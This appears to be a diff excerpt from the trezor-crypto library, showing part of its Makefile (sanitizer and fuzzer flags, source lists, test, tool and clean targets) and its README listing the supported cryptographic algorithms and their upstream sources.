$(eval CLANG_AT_LEAST_13 := true), \
$(eval CLANG_AT_LEAST_13 := false))
endif
ifeq ($(FUZZER),1)
CC ?= clang
LD ?= $(CC)
SANFLAGS += -fsanitize=fuzzer
# only clang versions >= 13 support this feature
ifeq ($(CLANG_AT_LEAST_13),true)
$(info "info: using -fsanitize-ignorelist")
SANFLAGS += -fsanitize-ignorelist=fuzzer/sanitizer_ignorelist.txt
else
$(info "info: not using -fsanitize-ignorelist")
endif
# TODO is there a better solution, for example by disabling a specific optimization technique?
# there is a clang optimization issue in relation with the blake2 code at -fsanitize=undefined
$(warning "warning: disabling optimization on blake2 code as workaround")
blake2b.o: OPTFLAGS += -O0
blake2s.o: OPTFLAGS += -O0
else ifeq ($(ADDRESS_SANITIZER),1)
SANFLAGS += -fsanitize=address,undefined
endif
CC ?= cc
OPTFLAGS ?= -O3 -g
CFLAGS += $(OPTFLAGS) \
$(SANFLAGS) \
-std=gnu99 \
-W \
-Wall \
-Wextra \
-Wimplicit-function-declaration \
-Wredundant-decls \
-Wstrict-prototypes \
-Wundef \
-Wshadow \
-Wpointer-arith \
-Wformat \
-Wreturn-type \
-Wsign-compare \
-Wmultichar \
-Wformat-nonliteral \
-Winit-self \
-Wuninitialized \
-Wformat-security \
-Wno-missing-braces \
-Werror
ZKP_CFLAGS = \
-DECMULT_GEN_PREC_BITS=4 \
-DECMULT_WINDOW_SIZE=8 \
-DENABLE_MODULE_GENERATOR \
-DENABLE_MODULE_RECOVERY \
-DENABLE_MODULE_SCHNORRSIG \
-DENABLE_MODULE_EXTRAKEYS
ZKP_PATH = ../vendor/secp256k1-zkp
# this is specific for 64-bit builds
CFLAGS += -DSECP256K1_CONTEXT_SIZE=208
VALGRIND ?= 1
ifeq ($(VALGRIND),1)
CFLAGS += -DVALGRIND
endif
CFLAGS += -I.
CFLAGS += -I..
CFLAGS += -DUSE_ETHEREUM=1
CFLAGS += -DUSE_KECCAK=1
CFLAGS += -DUSE_MONERO=1
CFLAGS += -DUSE_NEM=1
CFLAGS += -DUSE_CARDANO=1
CFLAGS += $(shell pkg-config --cflags openssl)
# disable certain optimizations and features when small footprint is required
ifdef SMALL
CFLAGS += -DUSE_PRECOMPUTED_CP=0
endif
SRCS = bignum.c ecdsa.c curves.c secp256k1.c nist256p1.c rand.c hmac.c bip32.c bip39.c bip39_english.c pbkdf2.c base58.c base32.c
SRCS += address.c
SRCS += script.c
SRCS += ripemd160.c
SRCS += sha2.c
SRCS += sha3.c
SRCS += hasher.c
SRCS += aes/aescrypt.c aes/aeskey.c aes/aestab.c aes/aes_modes.c
SRCS += ed25519_donna/curve25519_donna_32bit.c ed25519_donna/curve25519_donna_helpers.c ed25519_donna/modm_donna_32bit.c
SRCS += ed25519_donna/ed25519_donna_basepoint_table.c ed25519_donna/ed25519_donna_32bit_tables.c ed25519_donna/ed25519_donna_impl_base.c
SRCS += ed25519_donna/ed25519.c ed25519_donna/curve25519_donna_scalarmult_base.c ed25519_donna/ed25519_sha3.c ed25519_donna/ed25519_keccak.c
SRCS += monero/base58.c
SRCS += monero/serialize.c
SRCS += monero/xmr.c
SRCS += blake256.c
SRCS += blake2b.c blake2s.c
SRCS += chacha_drbg.c
SRCS += groestl.c
SRCS += chacha20poly1305/chacha20poly1305.c chacha20poly1305/chacha_merged.c chacha20poly1305/poly1305_donna.c chacha20poly1305/rfc7539.c
SRCS += rc4.c
SRCS += nem.c
SRCS += segwit_addr.c cash_addr.c
SRCS += memzero.c
SRCS += shamir.c
SRCS += hmac_drbg.c
SRCS += rfc6979.c
SRCS += slip39.c
SRCS += zkp_context.c
SRCS += zkp_ecdsa.c
SRCS += zkp_bip340.c
SRCS += cardano.c
OBJS = $(SRCS:.c=.o)
OBJS += secp256k1-zkp.o
OBJS += precomputed_ecmult.o
OBJS += precomputed_ecmult_gen.o
TESTLIBS = $(shell pkg-config --libs check) -lpthread -lm
TESTSSLLIBS = $(shell pkg-config --libs openssl)
all: tools tests
%.o: %.c %.h options.h
$(CC) $(CFLAGS) -o $@ -c $<
tests: tests/test_check tests/test_openssl tests/test_speed tests/libtrezor-crypto.so tests/aestst
tests/aestst: aes/aestst.o aes/aescrypt.o aes/aeskey.o aes/aestab.o
$(CC) $(CFLAGS) $^ -o $@
tests/test_check.o: tests/test_check_cardano.h tests/test_check_monero.h tests/test_check_cashaddr.h tests/test_check_segwit.h
tests/test_check: tests/test_check.o $(OBJS)
$(CC) $(CFLAGS) tests/test_check.o $(OBJS) $(TESTLIBS) -o tests/test_check
tests/test_speed: tests/test_speed.o $(OBJS)
$(CC) $(CFLAGS) tests/test_speed.o $(OBJS) -o tests/test_speed
tests/test_openssl: tests/test_openssl.o $(OBJS)
$(CC) $(CFLAGS) tests/test_openssl.o $(OBJS) $(TESTSSLLIBS) -o tests/test_openssl
tests/libtrezor-crypto.so: $(SRCS) secp256k1-zkp.o precomputed_ecmult.o precomputed_ecmult_gen.o
$(CC) $(CFLAGS) -DAES_128 -DAES_192 -fPIC -shared $(SRCS) secp256k1-zkp.o precomputed_ecmult.o precomputed_ecmult_gen.o -o tests/libtrezor-crypto.so
tools: tools/xpubaddrgen tools/mktable tools/bip39bruteforce
tools/xpubaddrgen: tools/xpubaddrgen.o $(OBJS)
$(CC) $(CFLAGS) tools/xpubaddrgen.o $(OBJS) -o tools/xpubaddrgen
tools/mktable: tools/mktable.o $(OBJS)
$(CC) $(CFLAGS) tools/mktable.o $(OBJS) -o tools/mktable
tools/bip39bruteforce: tools/bip39bruteforce.o $(OBJS)
$(CC) $(CFLAGS) tools/bip39bruteforce.o $(OBJS) -o tools/bip39bruteforce
fuzzer: fuzzer/fuzzer.o $(OBJS)
$(CC) $(CFLAGS) fuzzer/fuzzer.o $(OBJS) -o fuzzer/fuzzer
precomputed_ecmult.o:
$(CC) $(CFLAGS) -Wno-unused-function $(ZKP_CFLAGS) -fPIC -c $(ZKP_PATH)/src/precomputed_ecmult.c -o precomputed_ecmult.o
precomputed_ecmult_gen.o:
$(CC) $(CFLAGS) -Wno-unused-function $(ZKP_CFLAGS) -fPIC -c $(ZKP_PATH)/src/precomputed_ecmult_gen.c -o precomputed_ecmult_gen.o
secp256k1-zkp.o:
$(CC) $(CFLAGS) -Wno-unused-function $(ZKP_CFLAGS) -fPIC -I$(ZKP_PATH) -I$(ZKP_PATH)/src -c $(ZKP_PATH)/src/secp256k1.c -o secp256k1-zkp.o
clean:
rm -f *.o aes/*.o chacha20poly1305/*.o ed25519_donna/*.o monero/*.o
rm -f tests/*.o tests/test_check tests/test_speed tests/test_openssl tests/libtrezor-crypto.so tests/aestst
rm -f tools/*.o tools/xpubaddrgen tools/mktable tools/bip39bruteforce
rm -f fuzzer/*.o fuzzer/fuzzer
rm -f secp256k1-zkp.o precomputed_ecmult.o precomputed_ecmult_gen.o
clean-fuzzer: clean
rm -f crash-* fuzz-*.log slow-unit-* timeout-*
@@ -0,0 +1,54 @@
# trezor-crypto
Heavily optimized cryptography algorithms for embedded devices.
These include:
- AES/Rijndael encryption/decryption
- Big Number (256 bit) Arithmetics
- BIP32 Hierarchical Deterministic Wallets
- BIP39 Mnemonic code
- ECDSA signing/verifying (supports secp256k1 and nist256p1 curves,
uses RFC6979 for deterministic signatures)
- ECDSA public key derivation
- BIP340 Schnorr signature signing/verifying
- Base32 (RFC4648 and custom alphabets)
- Base58 address representation
- Ed25519 signing/verifying (also SHA3 and Keccak variants)
- ECDH using secp256k1, nist256p1 and Curve25519
- HMAC-SHA256 and HMAC-SHA512
- PBKDF2
- RIPEMD-160
- SHA1
- SHA2-256/SHA2-512
- SHA3/Keccak
- BLAKE2s/BLAKE2b
- Chacha20-Poly1305
- unit tests (using Check - check.sf.net; in test_check.c)
- tests against OpenSSL (in test_openssl.c)
- integrated Wycheproof tests
Distibuted under MIT License.
## Some parts of the library come from external sources:
- AES: https://github.com/BrianGladman/aes
- Base58: https://github.com/luke-jr/libbase58
- BLAKE2s/BLAKE2b: https://github.com/BLAKE2/BLAKE2
- RIPEMD-160: https://github.com/ARMmbed/mbedtls
- SHA1/SHA2: http://www.aarongifford.com/computers/sha.html
- SHA3: https://github.com/rhash/RHash
- Curve25519: https://github.com/agl/curve25519-donna
- Ed25519: https://github.com/floodyberry/ed25519-donna
- Chacha20: https://github.com/wg/c20p1305
- Poly1305: https://github.com/floodyberry/poly1305-donna
## Repo source:
```
remote = git+ssh://git@github.com/trezor/trezor-crypto
branch = master
commit = 915b3dbbbf58c262865647728a3463b8785fc965
parent = 6ad3294f31a1e7484b43c104ff2880b965198cad
method = rebase
cmdver = 0.4.0
```

Some files were not shown because too many files have changed in this diff Show More